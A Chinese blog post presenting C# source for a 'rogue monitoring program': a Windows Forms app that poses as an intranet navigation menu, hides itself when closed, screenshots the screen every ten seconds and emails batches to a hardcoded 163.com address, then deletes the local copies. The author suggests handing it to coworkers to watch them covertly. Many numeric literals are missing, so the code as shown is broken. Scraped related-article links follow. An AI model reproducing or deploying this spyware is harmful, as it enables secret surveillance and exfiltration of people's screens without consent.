C#中实现Windows系统流氓监控程序
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using System.Net.Mail;
using System.Net.Mime;
using System.Net;
using System.IO;
using System.Diagnostics; namespace WinidowsMonitor
{
public partial class Form1 : Form
{
//Change variable.
private static string ApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string localPath = GetPath(ApplicationData); public static string GetPath(string appDataPath)
{
int index = ApplicationData.LastIndexOf("\\");
string strApp = ApplicationData.Substring(, index);
string tempPath = strApp + "\\Local\\Temp";
return tempPath;
} public Form1()
{
InitializeComponent();
Directory.CreateDirectory(localPath + "\\Windows");
} private void JudgeProcess(FormClosingEventArgs e)
{
Process[] pros = Process.GetProcesses();
Process pro = Process.GetCurrentProcess();
var samePro = from newpro in pros where pro.ProcessName == newpro.ProcessName select newpro;
if (samePro.Count() > )
{
//MessageBox.Show(samePro.Count().ToString());
Application.Exit();
}
else
{
//MessageBox.Show("only one");
e.Cancel = true;
this.Hide();
CatchCapture();
}
} public void CatchCapture()
{
Thread.CurrentThread.Name = "WindowsRun";
int i = ;
while (true)
{
i++;
Image myImg = new Bitmap(Screen.AllScreens[].Bounds.Width, Screen.AllScreens[].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);
g.CopyFromScreen(new Point(, ), new Point(, ), Screen.AllScreens[].Bounds.Size);
string picName = "WindowsCapture" + i.ToString() + ".jpg";
string picPath = localPath.ToString() + "\\Windows\\" + picName.ToString();
g.Dispose();
try
{
myImg.Save(@picPath.ToString(), System.Drawing.Imaging.ImageFormat.Jpeg);
}
catch(Exception e)
{
MessageBox.Show(e.ToString());
}
myImg.Dispose();
Thread.Sleep();
if (i % == )
{
SendMail();
DeletePics(localPath.ToString() + "\\Windows\\");
}
}
} private void DeletePics(string path)
{
DirectoryInfo picDi = new DirectoryInfo(path);
var files = from file in picDi.GetFiles() select file;
foreach (var pic in files)
{
pic.Delete();
}
} public void SendMail()
{
using (SmtpClient client = new SmtpClient("smtp.163.com"))
using (var mail = new MailMessage("runcheck1@163.com", "runcheck1@163.com"))
{
client.Host = "smtp.163.com";
client.Port = ;
client.EnableSsl = true;
client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
DirectoryInfo di = new DirectoryInfo(@localPath+"\\Windows");
//Add attachment.
foreach (FileInfo file in di.GetFiles())
{
string attachPath = localPath + "\\Windows\\" + file.Name;
var attach = new Attachment(attachPath, MediaTypeNames.Image.Jpeg);
attach.ContentId = file.Name;
mail.Attachments.Add(attach);
}
mail.Subject = "Windows Capture from love monitor.";
mail.SubjectEncoding = Encoding.UTF8;
mail.Body = "<img src=\"cid:pic\"/><p>来自Monitor</p>";
mail.BodyEncoding = Encoding.UTF8;
mail.IsBodyHtml = true;
mail.Priority = MailPriority.High;
//client.Credentials = CredentialCache.DefaultNetworkCredentials;
client.Credentials = new NetworkCredential("runcheck1", "pwd");
client.Send(mail);
}
} private void Form1_Load(object sender, EventArgs e)
{
//MessageBox.Show(Process.GetCurrentProcess().ProcessName);
} private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
JudgeProcess(e);
} private void vMManagementToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://cnportal.avepoint.net/Pages/default.aspx");
} private void cNPortalToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://privatecloud.ccoffice.avepoint.com/#/Shell/VmsManagement");
} private void iITSCoursesToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/IITS/Training/Lists/Course%20Library/All%20Courses.aspx");
} private void avePointChinaWorkersToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/ChinaAdministration/Lists/ChinaTeamAll_Members/ChinaTeam%20Member%20View.aspx");
} private void avePointBookLendingToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/ChinaAdministration/CCHR/Lists/List2/AllItems.aspx");
} private void trainingSchoolScheduleToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/IITS/Training/Training_School/Lists/Training_Schedule/view.aspx");
}
}
}
以上程序是我写的一个屏幕截图偷发邮件的工具,十秒钟一截图,三十张一发送,发送完了把已有的删除,继续监控。
外壳可以设计随便什么样,比如导航之类的:

然后你给你的同事用,后台就可以监控他在干嘛了……
在这里我就不演示我的成果了,哈哈。
其实大神之所以称之为大神,就是可以把这些东西做的更隐蔽更持久化。
区别就在于我这只是个恶作剧,而那是真正的木马病毒。
C#中实现Windows系统流氓监控程序的更多相关文章
- 如何移除双系统mac中的windows系统
双系统 双系统即在电脑的不同分区中安装两个系统,两个系统不会互相影响,但是同时只能有一个系统正在运行,并且必须通过重启的方式来更换系统. 双系统一般由于解决对不同系统的需求,而且在电脑中直接安装系统也 ...
- 判断.net中在windows系统下的字节序
字节序,是指字节在内存中的存储顺序.其又分为大端字节(Big-Endian)序和小端字节序(Little-Endian). 以下摘自百度百科: a) Little-Endian就是低位字节排放在内存的 ...
- python 中调用windows系统api操作剪贴版
# -*- coding: utf-8 -*- ''' Created on 2013-11-26 @author: Chengshaoling ''' import win32clipboard a ...
- 烂泥:KVM中安装Windows Server 2008 R2系统
本文由秀依林枫提供友情赞助,首发于烂泥行天下. 在前一篇文章中,我介绍了有关在KVM中的安装Centos系统.接下来,就来介绍如何在KVM中安装Windows系统. 注意:在此我安装的是windows ...
- VC++开发Windows系统全局钩子
本文的大部分内容属于对一篇网文的实践与练习,同时参考的还有一本书,在此向网文与书的作者表示敬意. 这个程序是一个windows系统键盘监控程序,随着开机自动启动,可以监控系统中各用户的键盘,并将按键记 ...
- Linode KVM安装Windows系统的设置方法
以前我们用老的Linode VPS主机的时候是采用的XEN架构的,如今我们新注册账户,以及新开的机器是KVM架构.根据后台的设置,我们看到好多网友有在LINODE中安装WINDOWS系统,理论上是可以 ...
- 虚拟Linux系统使用Windows系统oracle数据库
前提:本地oracle数据库能正常使用. 数据库:oracle 11g 虚拟机:VMware_workstation_full_12.5.2 本机系统:Windows 7 旗舰版 虚拟机系统:open ...
- UEFI+GPT模式下的Windows系统中分区结构和默认分区大小及硬盘整数分区研究
内容摘要:本文主要讨论和分析在UEFI+GPT模式下的Windows系统(主要是最新的Win10X64)中默认的分区结构和默认的分区大小,硬盘整数分区.4K对齐.起始扇区.恢复分区.ESP分区.MSR ...
- Windows系统中path环境变量详解
在学习JAVA的过程中,涉及到多个环境变量(environment variable)的概念,如PATH.正确地配置这些环境变量,是能够顺利学习.开发的前提.而经常出现的问题是:有的学习者能够按照提示 ...
随机推荐
- 设置Linux-Centos6.5字符集
登录腾讯云的服务,发现不支持中文字符.草蛋疼.... 01.查看Linux当前语言 echo $LANG C #C代表英文环境 ASCII 编码格式,通杀很多问题(乱码) 02.查看系统支持的 ...
- 重要:VC DLL编程
VC DLL编程 静态链接:每个应用程序使用函数库,必须拥有一份库的备份.多个应用程序运行时,内存中就有多份函数库代码的备份. 动态连接库:多个应用程序可以共享一份函数库的备份. DLL的调用方式:即 ...
- Spring MVC request flow
1. When we enter a URL in the browser, the request comes to the dispatcher servlet.The dispatcher se ...
- PHP中的一些安全配置
PHP中的配置至关重要,包含php.ini的配置,还有系统权限的配置,一下是我总结的一些配置 一.PHP的模块 ./configure \ --with-libdir=lib64 \ --prefix ...
- 教程 | 一文入门Python数据分析库Pandas
首先要给那些不熟悉 Pandas 的人简单介绍一下,Pandas 是 Python 生态系统中最流行的数据分析库.它能够完成许多任务,包括: 读/写不同格式的数据 选择数据的子集 跨行/列计算 寻找并 ...
- 商业规则引擎IBM WebSphere ILog JRules概述,开发基础教程
Ilog Jrules开发基础教程有7篇,地址规则引擎Ilog Jrules开发基础教程[连载1]-- 概述篇 概述篇 规则引擎是一种嵌套在应用程序中的组件,它实现了将业务规则从应用程序代码中分离出来 ...
- Android之SurfaceView使用总结
1.概念SurfaceView是View类的子类,可以直接从内存或者DMA等硬件接口取得图像数据,是个非常重要的绘图视图.它的特性是:可以在主线程之外的线程中向屏幕绘图上.这样可以避免画图任务繁重的时 ...
- Java Jersey2使用总结
原文 http://blog.segmentfault.com/lenbo_ma/1190000000495321 主题 Java 前言 在短信平台一期工作中,为便于移动平台的开发,使用了Java ...
- Android 布局之LinearLayout 子控件weight权重的作用详析
关于Android开发中的LinearLayout子控件权重android:layout_weigh参数的作用,网上关于其用法有两种截然相反说法: 说法一:值越大,重要性越高,所占用的空间越大: 说法 ...
- CListCtrl控件中显示进度条
CListCtrl控件的subitem中显示进度条 http://www.codeproject.com/Articles/6813/List-Control-Extended-for-Progres ...